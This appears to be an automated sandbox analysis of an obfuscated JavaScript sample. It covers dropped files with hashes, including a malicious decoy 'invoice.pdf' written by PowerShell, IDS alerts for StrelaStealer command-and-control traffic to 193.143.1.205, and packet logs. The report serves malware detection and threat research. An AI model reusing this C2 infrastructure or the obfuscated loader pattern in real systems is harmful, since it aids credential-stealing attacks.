Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c8fce302-f90c-4340-85d7-3c6395239dd5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ef016b25-5cd3-45b9-a948-fc7a93ff909a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16985), with CRLF line terminators
Entropy (8bit):	4.925260376645836
TrID:
File name:	2148023713578731850.js
File size:	20'503 bytes
MD5:	d34138c3409899218b7e9a78f357257e
SHA1:	59028b1949e087321852e293425911dd19ac11db
SHA256:	4649f136e0ee6b4d635d70257fdb827468d45f7598984a3057803f052da518ce
SHA512:	a05ced951c53b1e400e76aaa6599a4c4badea5f7f9be95d56c75ac97f889892784c71f58a4f162e8e94a0ce97ad2a55f6bb4a17f610e7def637d01ee9743afac
SSDEEP:	384:W7e8Nav29FLZDHPlKOgU5LTmR9DWVTsAqn:Wa8NauFLZb9Tm3DWVTsAqn
TLSH:	089253DCDF04CB1A41E1C4BDF5B9E4A40924576F825018DEECCA5E9B12F6AF588C32B6
File Content Preview:	function lougs(){llgcjqnsl=[1031,3079,5127,4103,2055,3072];var ezcknxgii=this[pnwgxlqof+zeabrrxl+oafyemqr+fillo+absmfbyc+uqgktr+miqevf+rcawndk](this[jaozs+fjweoyfsp+zkzzwf+oafyemqr+vtufe+pnwgxlqof+rcawndk][xfvhbl+oafyemqr+absmfbyc+zeabrrxl+rcawndk+absmfby

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:59:12.344593+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49735	193.143.1.205	80	TCP
2025-01-11T03:59:12.344593+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49735	193.143.1.205	80	TCP
2025-01-11T03:59:15.037635+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49736	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:59:11.528358936 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:11.533395052 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:11.533514977 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:11.537081003 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:11.541971922 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.344386101 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.344508886 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.344518900 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.344530106 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.344547033 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.344558954 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.344569921 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.344588995 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.344593048 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.344659090 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.344659090 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.344703913 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.344717979 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.344757080 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.349531889 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.397878885 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.404870033 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.404896021 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.404906034 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.404990911 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.468666077 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.468686104 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.468698978 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.468713045 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.468796015 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.468803883 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.468835115 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.468839884 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.468847990 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.468880892 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.468986988 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.469024897 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.469410896 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.469477892 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.469495058 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.469527960 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.469624996 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.469639063 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.469672918 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.470238924 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.470288992 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.470366955 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.470377922 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.470415115 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.470436096 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.470449924 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.470489979 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.471194029 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.471208096 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.471278906 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.491812944 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.528558016 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.528575897 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.528589010 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.528665066 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.528677940 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.528706074 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.528728962 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.555424929 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.555445910 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.555547953 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.592823029 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.592983007 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.592999935 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593019009 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593030930 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593043089 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593061924 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.593101978 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.593111992 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.593111992 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593127966 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593163013 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.593347073 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593405962 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593419075 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593455076 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.593523979 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593559027 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.593827963 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593871117 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593882084 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.593907118 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.593991041 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.594002962 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.594026089 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.594439030 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.594476938 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.594507933 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.594520092 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.594551086 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.594677925 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.594690084 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.594701052 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.594712973 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.594726086 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.594747066 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.595390081 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.595423937 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.595434904 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.595455885 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.595613956 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.595626116 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.595637083 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.595648050 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.595659018 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.595669031 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.596297979 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.596339941 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.596355915 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.596366882 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.596400023 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.596522093 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.596533060 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.596544027 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.596555948 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.596565962 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.596595049 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.597194910 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.615324020 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.615348101 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.615442991 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.653575897 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.653601885 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.653613091 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.653635979 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.653780937 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.653790951 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.653862953 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.653868914 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.653875113 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.653903008 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.679629087 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.679644108 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.679655075 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.679733992 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.679758072 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.679759026 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725137949 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.725290060 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725367069 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725378036 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725414991 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.725511074 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725522041 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725531101 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725543022 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725562096 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.725588083 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.725814104 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725824118 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725833893 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725864887 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.725882053 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.725958109 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.725967884 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726032972 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.726103067 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726113081 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726123095 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726150990 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.726355076 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726396084 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726404905 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726414919 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726424932 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726437092 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.726459026 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.726459026 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.726505041 CET	49735	80	192.168.2.4	193.143.1.205
